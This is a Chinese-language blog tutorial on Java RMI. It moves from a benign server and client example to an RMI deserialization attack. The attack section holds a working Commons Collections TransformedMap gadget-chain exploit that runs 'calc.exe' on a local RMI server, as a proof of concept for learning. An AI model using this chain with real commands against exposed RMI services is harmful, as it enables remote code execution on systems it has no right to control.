Java安全之RMI反序列化
2022-06-16 18:31:20 # Java安全

概念

Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

RMI可分为三大部分:

1
2
3
Server: 	提供远程的对象
Client: 调用远程的对象
Registry: 一个注册表,存放着远程对象的位置(ip、端口、标识符)

开发步骤

  1. 编写远程服务接口,该接口必须继承 java.rmi.Remote 接口,方法必须抛出java.rmi.RemoteException 异常;
  2. 编写远程接口实现类,该实现类必须继承 java.rmi.server.UnicastRemoteObject 类;
  3. 创建服务器实例,并且创建一个注册表,将需要提供给客户端的对象注册到注册到注册表中;
  4. 编写客户端并且调用远程对象;

代码实现

1、创建远程接口,继承java.rmi.Remote接口,并且修饰符需要为public否则远程调用的时候会报错,并且定义的方法里面需要抛出一个RemoteException的异常。

1
2
3
4
5
6
7
8
9
package com.ljw.test;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIInterface extends Remote {
String sayHello(String name) throws RemoteException;
}

2、实现远程接口,继承 java.rmi.server.UnicastRemoteObject类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.ljw.test;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIServiceImpl extends UnicastRemoteObject implements RMIInterface {
protected RMIServiceImpl() throws RemoteException {
System.out.println("构造方法");
}

@Override
public String sayHello(String name) throws RemoteException {
return "Hello " + name;
}
}

3、创建服务器实例,并且创建一个注册表,将需要提供给客户端的对象注册到注册到注册表中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.ljw.test;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
RMIInterface rmiService = new RMIServiceImpl();//创建远程对象
Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
registry.bind("rmiService", rmiService);//将远程对象绑定到注册表里,并且设置为rmiService
}
}

4、编写客户端并且调用远程对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.ljw.test;

import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象
RMIInterface rmiInterface = (RMIInterface) registry.lookup("rmiService");//利用注册表的代理去查询远程注册表中名为rmiService的对象
System.out.println(rmiInterface.sayHello());
}
}

如果远程的这个方法有参数的话,调用该方法传入的参数必须是可序列化的。在传输中是传输序列化后的数据,服务端会对客户端的输入进行反序列化。客户端运行结果如下:

image-20220616215127966

RMI攻击

使用RMI反序列化攻击需要两个条件:第一个是接收Object类型的参数,第二就是RMI服务端存在命令执行的利用链。

远程接口的代码,需要定义一个Object类型的参数方法。

1
2
3
4
5
6
7
8
9
10
11
package com.ljw.test;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
public String hello(String hello) throws RemoteException;
void work(Object obj) throws RemoteException;
void say() throws RemoteException;
}

远程接口实现类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.ljw.test;

import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl extends UnicastRemoteObject implements User {
@Override
public String hello(String hello) throws RemoteException {
System.out.println("say");
return "say";
}

@Override
public void work(Object obj) throws RemoteException {
System.out.println("work被调用了");
}

@Override
public void say() throws RemoteException {
System.out.println("say被调用了");
}
protected UserImpl() throws RemoteException {
}

protected UserImpl(int port) throws RemoteException {
super(port);
}

protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
super(port, csf, ssf);
}
}

服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.ljw.test;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
//RMIInterface rmiService = new RMIServiceImpl();//创建远程对象
User user = new UserImpl();
Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
registry.bind("user", user);//将远程对象绑定到注册表里,并且设置为rmiService
System.out.println("rmi running....");
}
}

客户端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package com.ljw.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class Client {
public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
// Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象
// RMIInterface rmiInterface = (RMIInterface) registry.lookup("rmiService");//利用注册表的代理去查询远程注册表中名为rmiService的对象
// System.out.println(rmiInterface.sayHello());
String url = "rmi://127.0.0.1:1099/user";
User User = (User) Naming.lookup(url);
User.work(getPayload());
}

public static Object getPayload() throws NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
org.apache.commons.collections.Transformer[] transformers = new org.apache.commons.collections.Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "test");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);
return instance;
}
}

客户端运行结果

image-20220616222718134

之所以会弹出计算器,前面有提到过RMI在传输数据的时候,会被序列化,传输的是序列化后的数据,在传输完成后再进行反序列化。那么这时候如果传输一个恶意的序列化数据就会进行反序列化的命令执行。

结尾

对RMI做了简单的了解和使用,后续会对RMI的底层进行分析…

参考

https://www.cnblogs.com/nice0e3/p/13927460.html